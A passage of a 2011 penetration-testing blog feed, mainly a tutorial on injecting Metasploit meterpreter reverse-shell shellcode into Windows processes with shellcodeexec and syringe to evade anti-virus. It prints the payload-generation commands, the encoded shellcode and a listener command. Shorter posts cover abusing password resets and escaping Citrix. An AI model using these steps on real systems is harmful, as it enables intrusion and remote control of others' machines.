across:&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-3O0LACubl3E/Thm1jQ4XwTI/AAAAAAAAAXY/3TL6SM1MH6E/s1600/randomize.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="254" src="http://3.bp.blogspot.com/-3O0LACubl3E/Thm1jQ4XwTI/AAAAAAAAAXY/3TL6SM1MH6E/s640/randomize.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Factors that could slow us down: &lt;br /&gt;&lt;br /&gt;1) If we can't enumerate e-mail addresses somehow. An example of enumeration would be if you type in a username/e-mail address and and the site tells you it doesn't exist. Now we know who &lt;b&gt;DOES&lt;/b&gt; exist on the system. &lt;br /&gt;&lt;br /&gt;2) This particular site requires a birthdate along with the email address. This is difficult but not impossible. If we know the e-mail address exists it is a matter of guessing the birthdate (automate w/ Intruder). &lt;br /&gt;&lt;br /&gt;3) After we've reset other user's passwords, we need to guess the password (made MUCH easier by reviewing the entropy). If an account lock-out policy is enforced (after a small amount of incorrect password submissions) the account may be locked out leaving us without access. That is no fun. &lt;br /&gt;&lt;br /&gt;Even if the reset or forgotten password function doesn't send us a clear-text password it may send us a reset link. It is important to review the randomness of that link. &lt;br /&gt;&lt;br /&gt;Here is an example of loading the tokens file in sequencer: &lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/--m0oZ8o3uaA/ThnCtidQ6RI/AAAAAAAAAXc/YqRgYFZnV7M/s1600/sequencer.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="540" src="http://1.bp.blogspot.com/--m0oZ8o3uaA/ThnCtidQ6RI/AAAAAAAAAXc/YqRgYFZnV7M/s640/sequencer.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Summary: &lt;br /&gt;&lt;br /&gt;We've bypassed struts token and multi-flow password resets which might have been intended to slow us down. We've collected all of our emails and parsed them for passwords/tokens/links. We've manually (in this case) reviewed the entropy but we can also do this with sequencer. Now we have a way to guess passwords more efficiently and in combination with other flaws leaves us just a short period of time from compromising accounts. &lt;br /&gt;&lt;br /&gt;~cktricky&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-7520674205137128870?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/7520674205137128870/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=7520674205137128870' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/7520674205137128870'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/7520674205137128870'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/06/abusing-password-resets.html' title='Abusing Password Resets'/><author><name>cktricky</name><uri>http://www.blogger.com/profile/16815248087217800849</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/--K0zI_slcV8/TgT5x_k1FlI/AAAAAAAAAU4/OC192luGV7k/s220/myphoto.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-jtuj6_ARBAY/ThmvI_QPpXI/AAAAAAAAAW4/38ProEbuqQc/s72-c/password_email.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-1426698240741432661</id><published>2011-07-05T12:38:00.003-04:00</published><updated>2011-07-05T12:40:20.929-04:00</updated><title type='text'>Facebook Forensics</title><content type='html'>Hi dudes, we have got a studies over facebook forensics, please feel free to reference and enjoy it from here. Special thanks to Captain's leading on this studies, Taku and Sweeper's analysis and Leng's detailed paper review:&lt;br /&gt;&lt;a href="http://goo.gl/2TIr9"&gt;http://goo.gl/2TIr9&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-1426698240741432661?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/1426698240741432661/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=1426698240741432661' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/1426698240741432661'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/1426698240741432661'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/07/facebook-forensics.html' title='Facebook Forensics'/><author><name>Dark Floyd</name><uri>http://www.blogger.com/profile/01457178333126304897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='http://2.bp.blogspot.com/_0b3WKlWLoR0/SQmMZU01odI/AAAAAAAAABM/8KmrirL9u0c/S220/MyBrain.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-1749897148836160500</id><published>2011-07-01T07:12:00.019-04:00</published><updated>2011-07-01T08:35:35.818-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Pentesting'/><category scheme='http://www.blogger.com/atom/ns#' term='process injection'/><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit'/><title type='text'>Process Injection Outside of Metasploit</title><content type='html'>You may find yourself needing to do process injection outside of metasploit/meterpreter. A good examples is when you have a java meterpreter shell or you have access to gui environment (citrix) and/or AV is going all &lt;span style="font-style:italic;"&gt;nom nom nom&lt;/span&gt; on your metasploit binary. &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-Ezes740vdeU/Tg29tOWn34I/AAAAAAAAAog/fUC4_wdk7t8/s1600/cookie_monster1.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 150px; height: 124px;" src="http://3.bp.blogspot.com/-Ezes740vdeU/Tg29tOWn34I/AAAAAAAAAog/fUC4_wdk7t8/s400/cookie_monster1.jpg" alt="" id="BLOGGER_PHOTO_ID_5624360094300364674" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;There are two public options I have found; shellcodeexec and syringe.&lt;br /&gt;&lt;br /&gt;Both allow you to generate shellcode using msfpayload (not currently working with msfvenom) and inject that into memory (process for syringe) and get your meterpreter shell.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;shellcodeexec&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://github.com/inquisb/shellcodeexec"&gt;https://github.com/inquisb/shellcodeexec&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bernardodamele.blogspot.com/2011/04/execute-metasploit-payloads-bypassing.html" rel="nofollow"&gt;http://bernardodamele.blogspot.com/2011/04/execute-metasploit-payloads-bypassing.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;= Short description =&lt;br /&gt;&lt;br /&gt;shellcodeexec is a small script to execute in memory a sequence of opcodes.&lt;br /&gt;&lt;br /&gt;"It supports alphanumeric encoded payloads: you can pipe your binary-encoded shellcode (generated for instance with Metasploit's msfpayload) to Metasploit's msfencode to encode it with the alpha_mixed encoder. Set the BufferRegister variable to EAX registry where the address in memory of  the shellcode will be stored, to avoid get_pc() binary stub to be prepended to the shellcode."&lt;br /&gt;&lt;br /&gt;"Spawns a new thread where the shellcode is executed in a structure exception handler (SEH) so that if you wrap shellcodeexec into your own executable, it avoids the whole process to crash in case of unexpected behaviours."&lt;br /&gt;&lt;br /&gt;Make the payload:&lt;br /&gt;&lt;pre style="border: thin solid rgb(0, 51, 51); padding: 5px; overflow: auto; font-family: courier; background-color: rgb(24, 24, 24); font-size: 12px; color: rgb(255, 255, 255); line-height: 14px; width: 90%;"&gt;&lt;code&gt;&lt;br /&gt;$ ./msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R&lt;br /&gt;| ./msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX&lt;br /&gt;[*] x86/alpha_mixed succeeded with size 634 (iteration=1)&lt;br /&gt;&lt;br /&gt;PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlIxMYC0EPGpCPOyIuEaN2PdNkRrP0LKCbT&lt;br /&gt;LNkQBVtNkT2VHTOX7QZGVTqIoVQIPLlGLPaQlC2TlEpKqZoVmC1ZgZBXpQBPWLKCbVpLKQRElGqZpLKQPRXK5IP&lt;br /&gt;T4CzGqN0RpLKPHVxNkV8EpVaXSKSGLRiLKP4LKEQZvTqIoP1O0NLIQZoVmGqXGTxM0T5ZTGsCMIhEkQmTdPuIrR&lt;br /&gt;xNkQHTdGqICRFNkVlPKNkPXELVaICNkC4NkGqZpK9CtVDEtCkCkPaV9QJPQKOM0PXCoPZNkTRZKNfQMCXEcTrEP&lt;br /&gt;C0CXPwRSVRQOPTPhPLCGGVC7KOZuNXZ0GqEPEPVIZdQDV0PhQ9K0PkC0KOIERpPPV0PPQPPPQPPPCXZJTOIOKPK&lt;br /&gt;OKeOgQzC5E8O0I8OxC1E8TBGpR1ClOyIvPjR0QFPWPhZ9OURTE1IoZuK5IPCDTLKORnVhRUZLE8XpLuI2PVKOIE&lt;br /&gt;RJC0QzC4QFV7QxVbN9ZhQOIoZuNkTvRJG0E8EPVpGpEPRvPjGpCXRxLdCcIuIoIENsPSCZGpRvCcV7CXGrIIZhQ&lt;br /&gt;OKOKeEQKsVIO6NeIfT5ZLKsAA&lt;span style="font-family: Georgia,serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Set up a listener to catch the shell:&lt;br /&gt;&lt;pre style="border: thin solid rgb(0, 51, 51); padding: 5px; overflow: auto; font-family: courier; background-color: rgb(24, 24, 24); font-size: 12px; color: rgb(255, 255, 255); line-height: 14px; width: 90%;"&gt;&lt;code&gt;$ ./msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Run it on the windows side:&lt;br /&gt;&lt;pre style="border: thin solid rgb(0, 51, 51); padding: 5px; overflow: auto; font-family: courier; background-color: rgb(24, 24, 24); font-size: 12px; color: rgb(255, 255, 255); line-height: 14px; width: 90%;"&gt;&lt;code&gt;C:\WINDOWS\Temp&amp;gt;shellcodeexec.exe [msfencode's encoded payload]&lt;br /&gt;**Must paste in the payload, cant be a .txt&lt;/code&gt;&lt;/pre&gt;Once you have shell you need to migrate out of it, it will be in the  shellcodeexec process and as soon as someone ctrl-c or kills that  cmd.exe the process dies and so does your shell&lt;br /&gt;&lt;br /&gt;Looks like this:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-Kd0GRl8Na_k/Tg26SGIZimI/AAAAAAAAAn4/Yh-3pAGa1Ts/s1600/msf-generate2.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 167px;" src="http://1.bp.blogspot.com/-Kd0GRl8Na_k/Tg26SGIZimI/AAAAAAAAAn4/Yh-3pAGa1Ts/s400/msf-generate2.PNG" alt="" id="BLOGGER_PHOTO_ID_5624356329701870178" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-TBmAm6Mp6QA/Tg27BKsnGRI/AAAAAAAAAoA/DDBFAXWk-TE/s1600/shellcode-exec1.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 93px;" src="http://3.bp.blogspot.com/-TBmAm6Mp6QA/Tg27BKsnGRI/AAAAAAAAAoA/DDBFAXWk-TE/s400/shellcode-exec1.PNG" alt="" id="BLOGGER_PHOTO_ID_5624357138381347090" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-931UOR645xw/Tg2yFZfJWiI/AAAAAAAAAnw/XlBLIsZ2lUI/s1600/msf-handler.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 138px;" src="http://2.bp.blogspot.com/-931UOR645xw/Tg2yFZfJWiI/AAAAAAAAAnw/XlBLIsZ2lUI/s400/msf-handler.PNG" alt="" id="BLOGGER_PHOTO_ID_5624347315466230306" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Syringe&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://blog.securestate.com/post/2011/06/21/Syringe-utility-provides-ability-to-inject-shellcode-into-processes.aspx"&gt;http://blog.securestate.com/post/2011/06/21/Syringe-utility-provides-ability-to-inject-shellcode-into-processes.aspx&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.securestate.com/Documents/syringe.c"&gt;http://www.securestate.com/Documents/syringe.c&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt; = Short description =  &lt;/p&gt;  &lt;p&gt; "Syringe is a general purpose injection utility for the windows platform.  It supports injection of DLLs, and shellcode into remote processes as  well execution of shellcode (via the same method of shellcodeexec). It  can be very useful for executing Metasploit payloads while bypassing  many popular anti-virus implementations as well as executing custom made  DLLs (not included)" &lt;/p&gt;  &lt;p&gt; To compile “C:\codelocation\cl syringe.c” &lt;/p&gt;&lt;pre style="border: thin solid rgb(0, 51, 51); padding: 5px; overflow: auto; font-family: courier; background-color: rgb(24, 24, 24); font-size: 12px; color: rgb(255, 255, 255); line-height: 14px; width: 90%;"&gt;&lt;code&gt;C:\Documents and Settings\User\Desktop&amp;gt;syringe.exe&lt;br /&gt;Syringe v1.2&lt;br /&gt;A General Purpose DLL &amp;amp; Code Injection Utility&lt;br /&gt;&lt;br /&gt;Usage:&lt;br /&gt;&lt;br /&gt;Inject DLL:&lt;br /&gt;       syringe.exe -1 [ dll ] [ pid ]&lt;br /&gt;&lt;br /&gt;Inject Shellcode:&lt;br /&gt;       syringe.exe -2 [ shellcode ] [ pid ]&lt;br /&gt;&lt;br /&gt;Execute Shellcode:&lt;br /&gt;       syringe.exe -3 [ shellcode ]&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;-3 same issue as shellcodeexec, close cmd.exe or ctrl-c lose shell&lt;br /&gt;&lt;br /&gt;-2 is preferred, located explorer.exe inject shellcode into that&lt;br /&gt;&lt;br /&gt;&lt;pre style="border: thin solid rgb(0, 51, 51); padding: 5px; overflow: auto; font-family: courier; background-color: rgb(24, 24, 24); font-size: 12px; color: rgb(255, 255, 255); line-height: 14px; width: 90%;"&gt;&lt;code&gt;&lt;br /&gt;C:\Documents and Settings\User\Desktop&amp;gt;tasklist  &lt;br /&gt;tasklist&lt;br /&gt;&lt;br /&gt;Image Name                   PID Session Name     Session#    Mem Usage&lt;br /&gt;========================= ====== ================ ======== ============&lt;br /&gt;System Idle Process            0 Console                 0         28 K&lt;br /&gt;System                         4 Console                 0        236 K&lt;br /&gt;smss.exe                     540 Console                 0        424 K&lt;br /&gt;csrss.exe                    604 Console                 0      3,852 K&lt;br /&gt;winlogon.exe                 628 Console                 0      5,012 K&lt;br /&gt;services.exe                 680 Console                 0      3,440 K&lt;br /&gt;lsass.exe                    692 Console                 0      1,408 K&lt;br /&gt;vmacthlp.exe                 848 Console                 0      2,756 K&lt;br /&gt;svchost.exe                  864 Console                 0      4,924 K&lt;br /&gt;svchost.exe                  944 Console                 0      4,308 K&lt;br /&gt;MsMpEng.exe                 1040 Console                 0     53,812 K&lt;br /&gt;svchost.exe                 1076 Console                 0     23,780 K&lt;br /&gt;svchost.exe                 1164 Console                 0      3,616 K&lt;br /&gt;svchost.exe                 1368 Console                 0      3,916 K&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;explorer.exe                1624 Console                 0     15,256 K&lt;/span&gt;&lt;br /&gt;spoolsv.exe                 1656 Console                 0      6,072 K&lt;br /&gt;VMwareTray.exe              1848 Console                 0      5,044 K&lt;br /&gt;VMwareUser.exe              1856 Console                 0      6,328 K&lt;br /&gt;msseces.exe                 1864 Console                 0     10,708 K&lt;br /&gt;jusched.exe                 1920 Console                 0      4,304 K&lt;br /&gt;msmsgs.exe                  1928 Console                 0      2,488 K&lt;br /&gt;ctfmon.exe                  1952 Console                 0      3,248 K&lt;br /&gt;svchost.exe                  740 Console                 0      3,760 K&lt;br /&gt;jqs.exe                     1108 Console                 0      1,396 K&lt;br /&gt;vmtoolsd.exe                1264 Console                 0      9,976 K&lt;br /&gt;VMUpgradeHelper.exe         1212 Console                 0      4,176 K&lt;br /&gt;TPAutoConnSvc.exe           2396 Console                 0      4,392 K&lt;br /&gt;alg.exe                     2680 Console                 0      3,612 K&lt;br /&gt;TPAutoConnect.exe           3060 Console                 0      4,848 K&lt;br /&gt;iexplore.exe                3784 Console                 0     16,300 K&lt;br /&gt;iexplore.exe                4064 Console                 0     45,392 K&lt;br /&gt;wuauclt.exe                 1224 Console                 0      4,276 K&lt;br /&gt;java.exe                    1112 Console                 0     27,516 K&lt;br /&gt;java.exe                    2520 Console                 0     14,272 K&lt;br /&gt;notepad.exe                  440 Console                 0      3,572 K&lt;br /&gt;jucheck.exe                 3112 Console                 0      6,120 K&lt;br /&gt;cmd.exe                     3260 Console                 0      2,700 K&lt;br /&gt;tasklist.exe                3332 Console                 0      4,580 K&lt;br /&gt;wmiprvse.exe                3368 Console                 0      5,824 K&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;pre style="border: thin solid rgb(0, 51, 51); padding: 5px; overflow: auto; font-family: courier; background-color: rgb(24, 24, 24); font-size: 12px; color: rgb(255, 255, 255); line-height: 14px; width: 90%;"&gt;&lt;code&gt;C:\Documents and Settings\User\Desktop&amp;gt;&lt;span style="color: rgb(255, 0, 0);"&gt;syringe.exe -2 &lt;/span&gt;PYIIIIIIIIIIIIIIII7Q&lt;br /&gt;ZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlZHMYEPGpEPE0NiXeVQXRQ&lt;br /&gt;tNkCbTpNkRrVlLKPRVtNkRRExVoLwRjVFVQIoTqKpLlElCQCLVbVLQ0KqZoTMEQZgXbXpCbRwLK&lt;br /&gt;CbVpNkCrElVaXPNkQPRXLEO0CDRjVaN0RpNkCxEHNkPXQ0VaICIsElG9LKP4LKEQZvVQIoTqKpL&lt;br /&gt;lIQXOTMVaZgEhIpCEL4TCQmIhGKQmEtPuKRRxNkPXTdEQN3E6NkVlPKLKPXELGqICNkC4LKC1Zp&lt;br /&gt;LIQTVDEtQKCkPaRyQJRqIoM0RxQOPZLKVrZKK6QMCXPnQuT4C0E8T7PiRNCYNiZFPTE8RlCGEvT&lt;br /&gt;GIoZuTqKOPWRwV7RwPVPhEjPVQiLgKOXUZKCoCkEaO9V1PQQzTCRqCaCXKKQ0C0EPV3V0CXV7Oy&lt;br /&gt;OoIVIoN5XkRhCiVQXRCbRHGpTrIpNdCbQBCbRqCbRpE8XkQEVNEkKOKeOyIVCZGrQKP1KOPWRwV&lt;br /&gt;7CgRvE8VMVfGhQkIoZuOuO0RUTnPKCDTdE8K0VSGpGpOyKPPjC4RpQzEOCfRHT5PFOnK6IoXUZK&lt;br /&gt;ZuXkQYM8McKOKOKOVOQQQhCtRBRPC0E8ZPMeNBV6IoXURJCpQxC0TPC0C0PhGpC0CpEPV7PhQHO&lt;br /&gt;TPSM5KOKeOcPSV3LIIwRwPhEPEpEPEPRsV6E8EBZ6K9M2KOZuK5O0RTXMNkGwEQISMUKpPuXeQH&lt;br /&gt;ZcM8RqIoIoKOEaP9GBVNTqGFP8VNEbGFTnP1VSVXEPAA &lt;span style="color: rgb(255, 0, 0);"&gt;1624 &lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Looks like this (you can use the same shellcode in syringe):&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-pBdsjjTVQP8/Tg28i5Og8uI/AAAAAAAAAoI/eJJ4Iox76Rg/s1600/syringe-inject-process-windows-side.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 253px;" src="http://3.bp.blogspot.com/-pBdsjjTVQP8/Tg28i5Og8uI/AAAAAAAAAoI/eJJ4Iox76Rg/s400/syringe-inject-process-windows-side.PNG" alt="" id="BLOGGER_PHOTO_ID_5624358817318892258" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-au_iIsIM0ms/Tg29FSzw79I/AAAAAAAAAoY/j6OiYcF4c9o/s1600/syringe-inject-process.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 229px;" src="http://1.bp.blogspot.com/-au_iIsIM0ms/Tg29FSzw79I/AAAAAAAAAoY/j6OiYcF4c9o/s400/syringe-inject-process.PNG" alt="" id="BLOGGER_PHOTO_ID_5624359408301567954" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-1749897148836160500?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/1749897148836160500/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=1749897148836160500' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/1749897148836160500'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/1749897148836160500'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/07/process-injection-outside-of-metasploit.html' title='Process Injection Outside of Metasploit'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-Ezes740vdeU/Tg29tOWn34I/AAAAAAAAAog/fUC4_wdk7t8/s72-c/cookie_monster1.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-2955656766449543588</id><published>2011-06-24T20:41:00.000-04:00</published><updated>2011-06-24T20:45:20.034-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><category scheme='http://www.blogger.com/atom/ns#' term='cktricky'/><title type='text'>Welcome Ken "cktricky" Johnson!</title><content type='html'>Ken "cktricky" Johnson has agreed to join the carnal0wnage/attackresearch blog and I cant be more excited. Ken brings tons of webappsec kung fu and is the core developer for wXf. He should be adding lots of webappsec goodness.&lt;br /&gt;&lt;br /&gt;you can catch him on twitter as well &lt;a href="http://twitter.com/cktricky"&gt;@cktricky&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Welcome Ken!&lt;br /&gt;&lt;br /&gt;-CG&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8539880144347728238-2955656766449543588?l=carnal0wnage.attackresearch.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://carnal0wnage.attackresearch.com/feeds/2955656766449543588/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8539880144347728238&amp;postID=2955656766449543588' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/2955656766449543588'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8539880144347728238/posts/default/2955656766449543588'/><link rel='alternate' type='text/html' href='http://carnal0wnage.attackresearch.com/2011/06/welcome-ken-cktricky-johnson.html' title='Welcome Ken &quot;cktricky&quot; Johnson!'/><author><name>CG</name><uri>http://www.blogger.com/profile/11061967917509053185</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://2.bp.blogspot.com/_bgJlT6eWjGg/SUWqYCLeW0I/AAAAAAAAAY8/tQezLhC2few/S220/toorcongates.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8539880144347728238.post-8637442303793977744</id><published>2011-06-23T11:38:00.029-04:00</published><updated>2011-06-23T21:55:00.746-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='citrix hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Pentesting'/><title type='text'>Restricted Citrix Excel Application Escapes</title><content type='html'>SynJunkie has a couple good posts on citrix escapes:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://synjunkie.blogspot.com/search/label/Citrix"&gt;http://synjunkie.blogspot.com/search/label/Citrix&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;and of course iKat&lt;br /&gt;&lt;br /&gt;&lt;a href="http://ikat.ha.cked.net/"&gt;http://ikat.ha.cked.net/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;So recently I had to break out of restricted citrix environment. All I had was Excel 2010 and Word 2010.&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;a href="http://2.bp.blogspot.com/-xhpUrXyhFGs/TgNhiMiIuKI/AAAAAAAAAmA/dT6aleoZwvU/s1600/citrix-published-apps.PNG"&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 214px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5621443999996360866" alt="" src="http://2.bp.blogspot.com/-xhpUrXyhFGs/TgNhiMiIuKI/AAAAAAAAAmA/dT6aleoZwvU/s400/citrix-published-apps.PNG" border="0" /&gt;&lt;/a&gt; I also didnt have a fancy "jump to url" option when I clicked on the title bar and none of the hot keys were working for me. So goal was to get a web broswer or cmd shell.&lt;br /&gt;&lt;br /&gt;I was able to create macros though. So first I added the developers ribbon. &lt;/p&gt;&lt;p&gt;&lt;a href="http://3.bp.blogspot.com/-DxuhKl0Zbsk/TgNiU5vOeJI/AAAAAAAAAmI/ewZkDGPHV3U/s1600/developertab.PNG"&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 66px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5621444871124318354" alt="" src="http://3.bp.blogspot.com/-DxuhKl0Zbsk/TgNiU5vOeJI/AAAAAAAAAmI/ewZkDGPHV3U/s400/developertab.PNG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Click the visual basic button, and paste in some sweet macro code.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-1hkv51judYc/TgNi0Bjw5II/AAAAAAAAAmQ/lijI9jm0NVI/s1600/visbasic2.PNG"&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 276px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5621445405799670914" alt="" src="http://2.bp.blogspot.com/-1hkv51judYc/TgNi0Bjw5II/AAAAAAAAAmQ/lijI9jm0NVI/s400/visbasic2.PNG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-rugvTc7EtCk/TgNi_mK011I/AAAAAAAAAmY/UbRyvCApC4E/s1600/visbasic3.PNG"&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 241px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5621445604605744978" alt="" src="http://4.bp.blogspot.com/-rugvTc7EtCk/TgNi_mK011I/AAAAAAAAAmY/UbRyvCApC4E/s400/visbasic3.PNG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Then you save the file as macro enabled workbook.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-yZ6_N1wwUQg/TgNjzbZ9Y5I/AAAAAAAAAmw/BGfFTX0_yF4/s1600/save-macro.PNG"&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 261px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5621446495069627282" alt="" src="http://4.bp.blogspot.com/-yZ6_N1wwUQg/TgNjzbZ9Y5I/AAAAAAAAAmw/BGfFTX0_yF4/s400/save-macro.PNG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Once its saved, you can hit the 